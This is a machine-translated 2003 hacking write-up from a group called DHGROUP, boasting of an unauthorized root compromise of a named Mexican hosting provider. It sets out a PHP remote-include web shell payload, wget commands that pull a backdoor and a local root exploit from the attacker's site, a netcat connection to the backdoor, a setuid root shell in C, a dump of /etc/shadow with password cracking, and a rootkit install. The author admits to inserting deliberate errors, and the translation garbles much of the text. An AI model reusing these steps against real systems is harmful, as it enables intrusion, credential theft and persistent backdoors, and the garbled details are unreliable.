This page has been robot translated, sorry for typos if any. Original content here.

Root on the hosting provider


Intro.
I decided to describe this particular hacking, because it happened just before this (and, at this moment - 01/23/03 - the server is still in DHG hands, so to speak) I also was asked to describe some interesting hacking.
I don’t want this story to be a tool for other people’s atrocities, so we deliberately make some mistakes / inaccuracies (which, however, every advanced user will notice). Well, also chew elementary things, such as "Linux teams also in what place to look for, how to compile the exploits," we will not. So let's go.

Round # 1: remote.
In general, the original goal was the Mexican Linux-portal www. ***. Com, which was once hosted by this provider.
First of all, it was necessary to find out the axis on which this portal stands. Although, the stump is clear that the site about Linux can not hang on Windows. The http was: "Apache / 1.3.26 (Unix) (Red Hat / Linux) Chili! Soft-ASP / 3.6.2 PHP / 4.1.2", the ftp banner read:
managedhosting FTP server (Version 6.5 / OpenBSD, linux port 0.3.2) ready.
Scan ports, cgi-bug'i and all such nonsense, we didn’t become - or rather, decided to postpone until later. Well, also I did not want to cover the essom in any way. So, in the ftp-banner flashed the phrase "hosting"! Having scored on ripnet, we decided to turn directly to ip, which one had www. ***. Com. He brought me to the site "managedhosting.dialtoneinternet.com.mx", which, obviously, was his hoster. Later, a short manual bruteforce was used to calculate the actual hosting site: dialtoneinternet.com.mx (www.dialtone.com).
We decided to stop at this point also to return to the site being broken. He stood on the PHP-engine "phpWebSite" unknown version. This next clone of php-nuke didn’t have a particular focus on security. All versions of PWS up to 0.8.2 (even with a Stable mark) had a 'Php source injection' vulnerability. For those to whom nothing at all speaks, see the r4ShRaY article about this vulnerability. The rest, read on. So, here is a piece of sorsa modsecurity.php file:

<? php
global $ inc_prefix;
if (! $ inc_prefix) {
...
}
...
include_once ($ inc_prefix. "htmlheader.php");
?>

IMHO, everything should be clear to everyone. Run this script in a similar way:
http: //www.***.com/modsecurity.php? inc_prefix = http: //www.dhgroup.org
The file htmlheader.php, lying on our site, will be executed with yet-undefined_right. The only thing that bothered me was the fact that there is a patched or a newer version on the attacked site (after all, this is not some kind of 'Vasya's home page', but a portal for kewl-Linux-userz).
In general, we created the htmlheader.php file on our site with the following content:

<? passthru ("$ cmd")?>

Then I went to the address:
modsecurity.php? inc_prefix = http: //www.dhgroup.org&cmd=ls
To which we received a listing of the www. # Note then all the teams will scribble without "...? inc_prefix = http: // ..."!

Round # 2: local.
> echo hi> kewl.txt; cat kewl.txt
On these two teams, the browser responded with an empty snow white screen. This indicated that I have no rights to write to the www directory. That is, to express the deface so far. Well, before taking any further action, it was necessary to collect more information about the system. The main occupation we climbed behind the httpd.conf file:
> cat /etc/httpd/conf/httpd.conf
From there we tore out the front-end version (by the way, the http-header 'Server' was silent about the presence of FrontPage'a) also the route to the www-directories of the sites: dialtoneinternet.com.mx (broken hosting provider), stormarketing.com, altavistablinds.com, parigitown.com, well, also to several major resources:
# -FrontPage- version = 4.0
##
## httpd.conf - Apache HTTP server configuration file
##
...
<VirtualHost 66.33.62.88>
<Directory / home / admin / www / serversecure>
Options all
AllowOverride All
</ Directory>
ServerName dialtoneinternet.com.mx
ServerAlias ​​www.dialtoneinternet.com.mx
DocumentRoot / home / admin / www
ErrorLog logs / error_log
TransferLog logs / transfer_log
Group nobody
ScriptAlias ​​/ cgi-bin / / home / admin / www / cgi-bin /
</ Virtualhost>
...
Of course, in order for them to be defaced, the rights are not enough at all, BUT they are quite enough to view the front-line service.pwd (if any) of these sites, with all the ensuing consequences;) We left this opportunity for that adventure if I did can not be able to raise their privileges.
Further, for interest, we introduced:
> netstat -a
What did you get (# - my tags):
  Active Internet connections (servers and established)
 Proto Recv-Q Send-Q Local Address Foreign Address State 
 tcp 0 1 66.33.62. *: 2114 by.ru:wwww LAST_ACK # (1)
 tcp 0 0 66.33.62. *: www 62.141.75.226 Bor116 ESTABLISHED 
 tcp 0 0 *: www *: * LISTEN 
 tcp 0 0 *: imap2 *: * LISTEN 
 tcp 0 0 *: pop3 *: * LISTEN 
 tcp 0 0 *: ftp *: * LISTEN 
 tcp 0 0 *: 81 *: * LISTEN 
 tcp 0 0 *: https *: * LISTEN # (2)
 tcp 0 0 managedhosting.d: domain *: * LISTEN 
 tcp 0 0 managedhosting2.:domain *: * LISTEN 
 tcp 0 0 spacebattles.net:domain *: * LISTEN 
 tcp 0 0 66.33.62. *: domain *: * LISTEN 
 tcp 0 0 localhost.locald: domain *: * LISTEN 
 tcp 0 0 *: smtp *: * LISTEN 
 tcp 0 0 *: mysql *: * LISTEN 
 tcp 0 0 *: casp3001 *: * LISTEN 
 tcp 0 0 *: casp3000 *: * LISTEN 
 tcp 0 0 *: casp5105 *: * LISTEN 
 tcp 0 0 *: casp5103 *: * LISTEN 
 tcp 0 0 *: casp5104 *: * LISTEN 
 tcp 0 0 *: 1581 *: * LISTEN 
 tcp 0 0 *: 1024 *: * LISTEN 
 tcp 0 0 *: ssh *: * LISTEN # (3)
 udp 0 0 *: 4320 *: * 
 udp 0 0 managedhosting.d: domain *: * 
 udp 0 0 managedhosting2.:domain *: * 
 udp 0 0 spacebattles.net:domain *: * 
 udp 0 0 66.33.62. *: domain *: * 
 udp 0 0 localhost.locald: domain *: * 
 raw 0 0 *: udp *: * 7 
 raw 0 0 *: tcp *: * 7 
 raw 0 0 *: icmp *: * 7 
 raw 0 0 *: tcp *: * 7 
 Active UNIX domain sockets (servers and established)
 Proto RefCnt Flags Type State I-Node Path
 unix 0 [ACC] STREAM LISTENING 552166 /home/httpsd/cache/ssl.socket
 unix 0 [ACC] STREAM LISTENING 2087 /tmp/mysql.sock
 unix 4 [] DGRAM 290 / dev / log
 unix 0 [ACC] STREAM LISTENING 549144 / var / run / ndc
 unix 0 [] STREAM 565939 
 unix 0 [] DGRAM 555692 
 unix 0 [] DGRAM 549142 
 unix 0 [] DGRAM 3193 
 unix 0 [] DGRAM 303 
(1) - this is us =)
(2) - the presence of ssl usually expresses the exchange of private info with the server (cc, for example). Although, for hosting it is in the order of things.
(3) - here it is shell! It will be useful to us later.
That also ports did not need to scan :)
Next, it was necessary to proceed to some specific actions, or rather, to find out at least almost the version of the heading plus, based on this, to dance further. So, for those who don’t know, some (if not all) Linux distributions leave the file "* -release" (where * is the name of the distribution: mandrake-release, cobalt-release ...) in the / etc / directory admins also have no way to fix it.
> cat / etc / redhat-release:
Red Hat Linux release 6.1 (Cartman)
Obaaaaa, I must say, this we did not expect :) Everything else blah blah was a matter of technique .. To achieve the long-awaited root, we decided to use RedHat's vulnerability in rcp.

Red Hat 6.2: rcp possible root hole
In fact, the vulnerability was found in the cap 6.2 .. About 6.1 in a post from Andrew Griffiths and Tlabs did not say a word. Hoping for good luck, we introduced:
> ls -alF `which rcp`
-rwsr-xr-x 1 root root 14868 Jul 30 1999 / usr / bin / rcp *
Oops! Suidny rcp owns the premises to be! It is already good :) I filled in to myself "rcpsploit.pl" from tlabs plus, having studied the source, stopped. I, perhaps, will explain how this exploit works - perhaps it will help you to understand the essence of the vulnerability of the problem that has also arisen.
So he creates 2 files:
/tmp/shell.c---------------------

#include
#include
int main ()
{
setuid (0);
setgid (0);
execl ("/ bin / sh", "sh", 0);
return 0;
}


hey ------------------------------
Thanksgiving for the bug report

Then, through rcp suedny, the shell.c compile compile also chmod'om acts it so blah sudnym. Here also everything! We launch compiled shell we also get shell with uid = 0, gid = 0. But what's the use of this shell for us if we execute commands via a web server? : - /
It was allowed to make this exploit to work only on the "normal" shell.
Well, need a shell? He will! In my warez archive, a small pearl barley was gathering dust long ago, which we also decided to use:
> wget -o = / tmp / .tmp.pl http://www.dhgroup.org/exp/backhole.pl
> chmod 755 /.tmp/tmp.pl
> perl /tmp/.tmp.pl
Next on your computer:
> nc ***. com 51015
By connecting:
> cd / tmp
> wget -c http://www.dhgroup.org/exp/rcpsploit.pl
> chmod 755 rcpsploit.pl; perl rcpsploit.pl
Ok, too easy, we'll have to go well innit :)
> id
uid = 0 (root) gid = 0 (root) groups = 0 (root), 1 (bin), 2 (daemon), 3 (sys), 4 (adm), 6 (disk), 10 (wheel)
Here also everything :) Well, also the last:
> cat / etc / shadow
root: ###: 11961: 0: 99999: 7: -1: -1: 134549964
bin: *: 10925: 0: 99999: 7 :::
daemon: *: 10925: 0: 99999: 7 :::
adm: ###: 11577: 0: 99999: 7: -1: -1: 134549852
... etc ...
JTR counted 977 passwords%) To speed up the search, we entered:
john -i: all -u: root shadow
Somewhere 8 hours and ... the long-awaited moment:




Then I poured lrk in there, a few datapipes also bnc ... even though that’s another story ....

What was used in hacking:
Netscape v.xz
secureCRT 3.1
Netcat
John the ripper
backhole.pl
rcpsploit.pl
Brain
PacketStormSecurity

Conclusions \ comments \ comments:
1. If one server or another importantly calls itself the Hosting provider or Linux portal - this does not mean that it is well protected.
2. During the hacking process, you shouldn’t make a special statement about your ip (this article will also be in the future)
3. When hacking, the so-called "hacker" software was almost never used.
4. RH6. * - not to eat anything :)

PS IMHO, the reader may get the impression that I was just lucky also the general hacking took a couple of minutes .. This is not the case. There were moments at what time they simply let go, at what time I wanted to fight with my head against the wall.

Posted by: D4rkGr3y


Material published by permission of DHGROUP (http://www.dhgroup.org)